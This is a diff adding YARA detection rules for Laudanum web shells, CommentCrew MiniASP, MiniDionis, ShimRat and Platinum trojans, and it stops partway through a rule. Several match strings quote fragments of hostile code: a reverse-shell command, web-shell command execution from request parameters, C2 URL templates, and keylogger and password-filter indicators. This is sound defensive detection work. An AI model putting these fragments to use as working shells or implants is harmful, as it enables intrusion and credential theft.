+		$s6 = "Set http = Server.CreateObject(\"Microsoft.XMLHTTP\")" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 50KB and all of them
+}
+
+rule cfm_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.cfm"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "885e1783b07c73e7d47d3283be303c9719419b92"
+	strings:
+		$s1 = "Executable: <Input type=\"text\" name=\"cmd\" value=\"cmd.exe\"><br>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<cfif ( #suppliedCode# neq secretCode )>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<cfif IsDefined(\"form.cmd\")>" fullword ascii
+	condition:
+		filesize < 20KB and 2 of them
+}
+
+rule aspx_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.aspx"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
+	strings:
+		$s1 = "remoteIp = HttpContext.Current.Request.Headers[\"X-Forwarded-For\"].Split(new" ascii /* PEStudio Blacklist: strings */
+		$s2 = "remoteIp = Request.UserHostAddress;" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<form method=\"post\" name=\"shell\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<body onload=\"document.shell.c.focus()\">" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 20KB and all of them
+}
+
+rule php_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
+	strings:
+		$s1 = "command_hist[current_line] = document.shell.command.value;" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "if (e.keyCode == 38 && current_line < command_hist.length-1) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "array_unshift($_SESSION['history'], $command);" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $command)) {" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 40KB and all of them
+}
+
+rule php_reverse_shell {
+	meta:
+		description = "Laudanum Injector Tools - file php-reverse-shell.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "3ef03bbe3649535a03315dcfc1a1208a09cea49d"
+	strings:
+		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "printit(\"Successfully opened reverse shell to $ip:$port\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "$input = fread($pipes[1], $chunk_size);" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 15KB and all of them
+}
+
+rule php_dns {
+	meta:
+		description = "Laudanum Injector Tools - file dns.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
+	strings:
+		$s1 = "$query = isset($_POST['query']) ? $_POST['query'] : '';" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$result = dns_get_record($query, $types[$type], $authns, $addtl);" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "foreach (array_keys($types) as $t) {" fullword ascii
+	condition:
+		filesize < 15KB and all of them
+}
+
+rule WEB_INF_web {
+	meta:
+		description = "Laudanum Injector Tools - file web.xml"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "0251baed0a16c451f9d67dddce04a45dc26cb4a3"
+	strings:
+		$s1 = "<servlet-name>Command</servlet-name>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<jsp-file>/cmd.jsp</jsp-file>" fullword ascii
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule jsp_cmd {
+	meta:
+		description = "Laudanum Injector Tools - file cmd.war"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "55e4c3dc00cfab7ac16e7cfb53c11b0c01c16d3d"
+	strings:
+		$s0 = "cmd.jsp}" fullword ascii
+		$s1 = "cmd.jspPK" fullword ascii
+		$s2 = "WEB-INF/web.xml" fullword ascii /* Goodware String - occured 1 times */
+		$s3 = "WEB-INF/web.xmlPK" fullword ascii /* Goodware String - occured 1 times */
+		$s4 = "META-INF/MANIFEST.MF" fullword ascii /* Goodware String - occured 12 times */
+	condition:
+		uint16(0) == 0x4b50 and filesize < 2KB and all of them
+}
+
+rule laudanum {
+	meta:
+		description = "Laudanum Injector Tools - file laudanum.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
+	strings:
+		$s1 = "public function __activate()" fullword ascii
+		$s2 = "register_activation_hook(__FILE__, array('WP_Laudanum', 'activate'));" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 5KB and all of them
+}
+
+rule php_file {
+	meta:
+		description = "Laudanum Injector Tools - file file.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "7421d33e8007c92c8642a36cba7351c7f95a4335"
+	strings:
+		$s1 = "$allowedIPs =" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<a href=\"<?php echo $_SERVER['PHP_SELF']  ?>\">Home</a><br/>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "$dir  = isset($_GET[\"dir\"])  ? $_GET[\"dir\"]  : \".\";" fullword ascii
+		$s4 = "$curdir .= substr($curdir, -1) != \"/\" ? \"/\" : \"\";" fullword ascii
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule warfiles_cmd {
+	meta:
+		description = "Laudanum Injector Tools - file cmd.jsp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "3ae3d837e7b362de738cf7fad78eded0dccf601f"
+	strings:
+		$s1 = "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">" fullword ascii
+		$s4 = "String disr = dis.readLine();" fullword ascii
+	condition:
+		filesize < 2KB and all of them
+}
+
+rule asp_dns {
+	meta:
+		description = "Laudanum Injector Tools - file dns.asp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "5532154dd67800d33dace01103e9b2c4f3d01d51"
+	strings:
+		$s1 = "command = \"nslookup -type=\" & qtype & \" \" & query " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Set objCmd = objWShell.Exec(command)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Response.Write command & \"<br>\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<form name=\"dns\" method=\"POST\">" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 21KB and all of them
+}
+
+rule php_reverse_shell_2 {
+	meta:
+		description = "Laudanum Injector Tools - file php-reverse-shell.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "025db3c3473413064f0606d93d155c7eb5049c42"
+	strings:
+		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii /* PEStudio Blacklist: strings */
+		$s7 = "$shell = 'uname -a; w; id; /bin/sh -i';" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule Laudanum_Tools_Generic {
+	meta:
+		description = "Laudanum Injector Tools"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		super_rule = 1
+		hash0 = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
+		hash1 = "885e1783b07c73e7d47d3283be303c9719419b92"
+		hash2 = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
+		hash3 = "7421d33e8007c92c8642a36cba7351c7f95a4335"
+		hash4 = "f49291aef9165ee4904d2d8c3cf5a6515ca0794f"
+		hash5 = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
+		hash6 = "f32b9c2cc3a61fa326e9caebce28ef94a7a00c9a"
+		hash7 = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
+		hash8 = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
+		hash9 = "b50ae35fcf767466f6ca25984cc008b7629676b8"
+		hash10 = "5570d10244d90ef53b74e2ac287fc657e38200f0"
+		hash11 = "42bcb491a11b4703c125daf1747cf2a40a1b36f3"
+		hash12 = "83e4eaaa2cf6898d7f83ab80158b64b1d48096f4"
+		hash13 = "dec7ea322898690a7f91db9377f035ad7072b8d7"
+		hash14 = "a2272b8a4221c6cc373915f0cc555fe55d65ac4d"
+		hash15 = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
+		hash16 = "43320dc23fb2ed26b882512e7c0bfdc64e2c1849"
+	strings:
+		$s1 = "***  laudanum@secureideas.net" fullword ascii
+		$s2 = "*** Laudanum Project" fullword ascii
+	condition:
+		filesize < 60KB and all of them
+}
+
+rule APT_Malware_CommentCrew_MiniASP {
+	meta:
+		description = "CommentCrew Malware MiniASP APT"
+		author = "Florian Roth"
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		super_rule = 1
+		hash0 = "0af4360a5ae54d789a8814bf7791d5c77136d625"
+		hash1 = "777bf8def279942a25750feffc11d8a36cc0acf9"
+		hash2 = "173f20b126cb57fc8ab04d01ae223071e2345f97"
+	strings:
+		$x1 = "\\MiniAsp4\\Release\\MiniAsp.pdb" ascii /* score: '19.02' */
+		$x2 = "run http://%s/logo.png setup.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.02' */
+		$x3 = "d:\\command.txt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+
+		$z1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR " ascii /* PEStudio Blacklist: strings */ /* score: '24.02' */
+		$z2 = "Mozilla/4.0 (compatible; MSIE 7.4; Win32;32-bit)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '22.03' */
+		$z3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC" ascii /* PEStudio Blacklist: agent */ /* score: '32.03' */
+		
+		$s1 = "http://%s/device_command.asp?device_id=%s&cv=%s&command=%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.02' */
+		$s2 = "kill process error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '24.04' */
+		$s3 = "kill process success!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.04' */
+		$s4 = "pickup command error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.04' */
+		$s5 = "http://%s/record.asp?device_t=%s&key=%s&device_id=%s&cv=%s&result=%s" fullword ascii /* score: '20.01' */
+		$s6 = "no command" fullword ascii /* PEStudio Blacklist: strings */ /* score: '19.05' */
+		$s7 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii /* score: '19.02' */
+		$s8 = "command is null!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.05' */
+		$s9 = "pickup command Ok!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.04' */
+		$s10 = "http://%s/result_%s.htm" fullword ascii /* score: '18.01' */
+	condition:
+		uint16(0) == 0x5a4d and 
+		( 1 of ($x*) ) or 
+		( all of ($z*) ) or 
+		( 8 of ($s*) )
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-20
+	Identifier: MiniDionis
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MiniDionis_readerView {
+	meta:
+		description = "MiniDionis Malware - file readerView.exe / adobe.exe"
+		author = "Florian Roth"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		date = "2015-07-20"
+		/* Original Hash */
+		hash1 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
+		/* Derived Samples */
+		hash2 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
+		hash3 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
+		hash4 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
+		hash5 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
+		hash6 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
+	strings:
+		$s1 = "%ws_out%ws" fullword wide /* score: '8.00' */
+		$s2 = "dnlibsh" fullword ascii /* score: '7.00' */
+
+		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b } /* Opcode */
+		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f } /* Opcode */
+		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of ($s*) and 1 of ($op*)
+}
+
+/* Related - SFX files or packed files with typical malware content -------- */
+
+rule Malicious_SFX1 {
+	meta:
+		description = "SFX with voicemail content"
+		author = "Florian Roth"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		date = "2015-07-20"
+		hash = "c0675b84f5960e95962d299d4c41511bbf6f8f5f5585bdacd1ae567e904cb92f"
+	strings:
+		$s0 = "voicemail" ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s1 = ".exe" ascii
+	condition:
+		uint16(0) == 0x4b50 and filesize < 1000KB and $s0 in (3..80) and $s1 in (3..80) 
+}
+
+rule Malicious_SFX2 {
+	meta:
+		description = "SFX with adobe.exe content"
+		author = "Florian Roth"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		date = "2015-07-20"
+		hash = "502e42dc99873c52c3ca11dd3df25aad40d2b083069e8c22dd45da887f81d14d"
+	strings:
+		$s1 = "adobe.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide /* PEStudio Blacklist: strings */ /* score: '26.00' */
+		$s3 = "GETPASSWORD1" fullword wide /* PEStudio Blacklist: strings */ /* score: '23.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule MiniDionis_VBS_Dropped {
+	meta:
+		description = "Dropped File - 1.vbs"
+		author = "Florian Roth"
+		reference = "https://malwr.com/analysis/ZDc4ZmIyZDI4MTVjNGY5NWI0YzE3YjIzNGFjZTcyYTY/"
+		date = "2015-07-21"
+		hash = "97dd1ee3aca815eb655a5de9e9e8945e7ba57f458019be6e1b9acb5731fa6646"
+	strings:
+		$s1 = "Wscript.Sleep 5000" ascii
+		$s2 = "Set FSO = CreateObject(\"Scripting.FileSystemObject\")" ascii
+		$s3 = "Set WshShell = CreateObject(\"WScript.Shell\")" ascii
+		$s4 = "If(FSO.FileExists(\"" ascii
+		$s5 = "then FSO.DeleteFile(\".\\" ascii
+	condition:
+		filesize < 1KB and all of them and $s1 in (0..40)
+}
+rule shimrat {
+   meta:
+      description = "Detects ShimRat and the ShimRat loader"
+      author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+      date = "20/11/2015"
+   strings:
+      $dll = ".dll"
+      $dat = ".dat"
+      $headersig = "QWERTYUIOPLKJHG"
+      $datasig = "MNBVCXZLKJHGFDS"
+      $datamarker1 = "Data$$00"
+      $datamarker2 = "Data$$01%c%sData"
+      $cmdlineformat = "ping localhost -n 9 /c %s > nul"
+      $demoproject_keyword1 = "Demo"
+      $demoproject_keyword2 = "Win32App"
+      $comspec = "COMSPEC"
+      $shim_func1 = "ShimMain"
+      $shim_func2 = "NotifyShims"
+      $shim_func3 = "GetHookAPIs"
+   condition:
+      ($dll and $dat and $headersig and $datasig) or
+      ($datamarker1 and $datamarker2) or
+      ($cmdlineformat and $demoproject_keyword1 and $demoproject_keyword2 and $comspec) or
+      ($dll and $dat and $shim_func1 and $shim_func2 and $shim_func3)
+}
+
+rule shimratreporter {
+   meta:
+      description = "Detects ShimRatReporter"
+      author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+      date = "20/11/2015"
+   strings:
+      $IpInfo = "IP-INFO"
+      $NetworkInfo = "Network-INFO"
+      $OsInfo = "OS-INFO"
+      $ProcessInfo = "Process-INFO"
+      $BrowserInfo = "Browser-INFO"
+      $QueryUserInfo = "QueryUser-INFO"
+      $UsersInfo = "Users-INFO"
+      $SoftwareInfo = "Software-INFO"
+      $AddressFormat = "%02X-%02X-%02X-%02X-%02X-%02X"
+      $proxy_str = "(from environment) = %s"
+      $netuserfun = "NetUserEnum"
+      $networkparams = "GetNetworkParams"
+   condition:
+      all of them
+}
+rule Trojan_Win32_PlaSrv : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Hotpatching Injector"
+		original_sample_sha1 = "ff7f949da665ba8ce9fb01da357b51415634eaad"
+		unpacked_sample_sha1 = "dff2fee984ba9f5a8f5d97582c83fca4fa1fe131"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$Section_name = ".hotp1"
+		$offset_x59 = { C7 80 64 01 00 00 00 00 01 00 }
+	
+	condition:
+		$Section_name and $offset_x59
+}
+
+rule Trojan_Win32_Platual : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		original_sample_sha1 = "e0ac2ae221328313a7eee33e9be0924c46e2beb9"
+		unpacked_sample_sha1 = "ccaf36c2d02c3c5ca24eeeb7b1eae7742a23a86a"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$class_name = "AVCObfuscation"
+		$scrambled_dir = { A8 8B B8 E3 B1 D7 FE 85 51 32 3E C0 F1 B7 73 99 }
+
+	condition:
+		$class_name and $scrambled_dir
+}
+
+rule Trojan_Win32_Plaplex : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Variant of the JPin backdoor"
+		original_sample_sha1 = "ca3bda30a3cdc15afb78e54fa1bbb9300d268d66"
+		unpacked_sample_sha1 = "2fe3c80e98bbb0cf5a0c4da286cd48ec78130a24"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$class_name1 = "AVCObfuscation"
+		$class_name2 = "AVCSetiriControl"
+
+	condition:
+		$class_name1 and $class_name2
+}
+
+rule Trojan_Win32_Dipsind_B : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind Family"
+		sample_sha1 = "09e0dfbb5543c708c0dd6a89fd22bbb96dc4ca1c"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$frg1 = {8D 90 04 01 00 00 33 C0 F2 AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 4D EC 8B 15 ?? ?? ?? ?? 89 91 ?? 07 00 00 }
+		$frg2 = {68 A1 86 01 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA}
+		$frg3 = {C0 E8 07 D0 E1 0A C1 8A C8 32 D0 C0 E9 07 D0 E0 0A C8 32 CA 80 F1 63}
+
+	condition:
+		$frg1 and $frg2 and $frg3
+}
+
+rule Trojan_Win32_PlaKeylog_B : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Keylogger component"
+		original_sample_sha1 = "0096a3e0c97b85ca75164f48230ae530c94a2b77"
+		unpacked_sample_sha1 = "6a1412daaa9bdc553689537df0a004d44f8a45fd"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$hook = {C6 06 FF 46 C6 06 25}
+		$dasm_engine = {80 C9 10 88 0E 8A CA 80 E1 07 43 88 56 03 80 F9 05}
+
+	condition:
+		$hook and $dasm_engine
+}
+
+rule Trojan_Win32_Adupib : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Adupib SSL Backdoor"
+		original_sample_sha1 = "d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd"
+		unpacked_sample_sha1 = "a80051d5ae124fd9e5cc03e699dd91c2b373978b"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "POLL_RATE"
+		$str2 = "OP_TIME(end hour)"
+		$str3 = "%d:TCP:*:Enabled"
+		$str4 = "%s[PwFF_cfg%d]"
+		$str5 = "Fake_GetDlgItemTextW: ***value***="
+
+	condition:
+		$str1 and $str2 and $str3 and $str4 and $str5
+}
+
+rule Trojan_Win32_PlaLsaLog : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Loader / possible incomplete LSA Password Filter"
+		original_sample_sha1 = "fa087986697e4117c394c9a58cb9f316b2d9f7d8"
+		unpacked_sample_sha1 = "29cb81dbe491143b2f8b67beaeae6557d8944ab4"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {8A 1C 01 32 DA 88 1C 01 8B 74 24 0C 41 3B CE 7C EF 5B 5F C6 04 01 00 5E 81 C4 04 01 00 00 C3}
+		$str2 = "PasswordChangeNotify"
+
+	condition:
+		$str1 and $str2
+}
+
+rule Trojan_Win32_Plagon : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind variant"
+		original_sample_sha1 = "48b89f61d58b57dba6a0ca857bce97bab636af65"
+		unpacked_sample_sha1 = "6dccf88d89ad7b8611b1bc2e9fb8baea41bdb65a"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "VPLRXZHTU"
+		$str2 = {64 6F 67 32 6A 7E 6C}
+		$str3 = "Dqpqftk(Wou\"Isztk)"
+		$str4 = "StartThreadAtWinLogon"
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Plakelog : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Raw-input based keylogger"
+		original_sample_sha1 = "3907a9e41df805f912f821a47031164b6636bd04"
+		unpacked_sample_sha1 = "960feeb15a0939ec0b53dcb6815adbf7ac1e7bb2"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "<0x02>" wide
+		$str2 = "[CTR-BRK]" wide
+		$str3 = "[/WIN]" wide
+		$str4 = {8A 16 8A 18 32 DA 46 88 18 8B 15 08 E6 42 00 40 41 3B CA 72 EB 5E 5B}
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Plainst : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		original_sample_sha1 = "99c08d31af211a0e17f92dd312ec7ca2b9469ecb"
+		unpacked_sample_sha1 = "dcb6cf7cf7c8fdfc89656a042f81136bda354ba6"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {66 8B 14 4D 18 50 01 10 8B 45 08 66 33 14 70 46 66 89 54 77 FE 66 83 7C 77 FE 00 75 B7 8B 4D FC 89 41 08 8D 04 36 89 41 0C 89 79 04}
+		$str2 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+
+	condition:
+		$str1 and $str2
+}
+
+rule Trojan_Win32_Plagicom : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		original_sample_sha1 = "99dcb148b053f4cef6df5fa1ec5d33971a58bd1e"
+		unpacked_sample_sha1 = "c1c950bc6a2ad67488e675da4dfc8916831239a7"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {C6 44 24 ?? 68 C6 44 24 ?? 4D C6 44 24 ?? 53 C6 44 24 ?? 56 C6 44 24 ??
+00}
+		$str2 = "OUEMM/EMM"
+		$str3 = {85 C9 7E 08 FE 0C 10 40 3B C1 7C F8 C3}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plaklog : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Hook-based keylogger"
+		original_sample_sha1 = "831a5a29d47ab85ee3216d4e75f18d93641a9819"
+		unpacked_sample_sha1 = "e18750207ddbd939975466a0e01bd84e75327dda"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "++[%s^^unknown^^%s]++"
+		$str2 = "vtfs43/emm"
+		$str3 = {33 C9 39 4C 24 08 7E 10 8B 44 24 04 03 C1 80 00 08 41 3B 4C 24 08 7C F0 C3}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plapiio : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "JPin backdoor"
+		original_sample_sha1 = "3119de80088c52bd8097394092847cd984606c88"
+		unpacked_sample_sha1 = "3acb8fe2a5eb3478b4553907a571b6614eb5455c"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "ServiceMain"
+		$str2 = "Startup"
+		$str3 = {C6 45 ?? 68 C6 45 ?? 4D C6 45 ?? 53 C6 45 ?? 56 C6 45 ?? 6D C6 45 ?? 6D}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plabit : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		sample_sha1 = "6d1169775a552230302131f9385135d385efd166"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+		$str2 = "GetInstanceW"
+		$str3 = {8B D0 83 E2 1F 8A 14 0A 30 14 30 40 3B 44 24 04 72 EE}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Placisc2 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind variant"
+		original_sample_sha1 = "bf944eb70a382bd77ee5b47548ea9a4969de0527"
+		unpacked_sample_sha1 = "d807648ddecc4572c7b04405f496d25700e0be6e"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {76 16 8B D0 83 E2 07 8A 4C 14 24 8A 14 18 32 D1 88 14 18 40 3B C7 72 EA}
+		$str2 = "VPLRXZHTU"
+		$str3 = "%d) Command:%s"
+		$str4 = {0D 0A 2D 2D 2D 2D 2D 09 2D 2D 2D 2D 2D 2D 0D 0A}
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Placisc3 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind variant"
+		original_sample_sha1 = "1b542dd0dacfcd4200879221709f5fa9683cdcda"
+		unpacked_sample_sha1 = "bbd4992ee3f3a3267732151636359cf94fb4575d"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {BA 6E 00 00 00 66 89 95 ?? ?? FF FF B8 73 00 00 00 66 89 85 ?? ?? FF FF B9 64 00 00 00 66 89 8D ?? ?? FF FF BA 65 00 00 00 66 89 95 ?? ?? FF FF B8 6C 00 00 00}
+		$str2 = "VPLRXZHTU"
+		$str3 = {8B 44 24 ?? 8A 04 01 41 32 C2 3B CF 7C F2 88 03}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Placisc4 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer for Dipsind variant"
+		original_sample_sha1 = "3d17828632e8ff1560f6094703ece5433bc69586"
+		unpacked_sample_sha1 = "2abb8e1e9cac24be474e4955c63108ff86d1a034"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {8D 71 01 8B C6 99 BB 0A 00 00 00 F7 FB 0F BE D2 0F BE 04 39 2B C2 88 04 39 84 C0 74 0A}
+		$str2 = {6A 04 68 00 20 00 00 68 00 00 40 00 6A 00 FF D5}
+		$str3 = {C6 44 24 ?? 64 C6 44 24 ?? 6F C6 44 24 ?? 67 C6 44 24 ?? 32 C6 44 24 ?? 6A}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plakpers : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Injector / loader component"
+		original_sample_sha1 = "fa083d744d278c6f4865f095cfd2feabee558056"
+		unpacked_sample_sha1 = "3a678b5c9c46b5b87bfcb18306ed50fadfc6372e"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "MyFileMappingObject"
+		$str2 = "[%.3u]  %s  %s  %s [%s:" wide
+		$str3 = "%s\\{%s}\\%s" wide
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plainst2 : Platinum
+{
+	meta:
+		author = "Microsoft"
